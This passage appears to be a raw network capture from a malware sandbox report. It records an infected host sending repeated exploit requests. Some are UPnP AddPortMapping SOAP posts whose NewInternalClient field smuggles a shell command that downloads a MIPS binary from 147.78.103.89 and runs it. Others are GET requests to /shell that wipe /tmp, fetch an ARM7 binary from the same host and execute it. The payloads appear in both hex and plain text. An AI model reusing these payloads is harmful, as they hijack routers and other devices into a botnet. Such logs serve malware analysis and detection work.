4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:57.646344900 CET959INPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      108192.168.2.1550114154.194.145.275501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:57.656265974 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:01.849024057 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:07.992882013 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:20.024458885 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:28:44.087820053 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      109192.168.2.155694445.192.255.6152869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:57.678050041 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:01.849024057 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:07.992863894 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:20.024460077 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:44.087693930 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
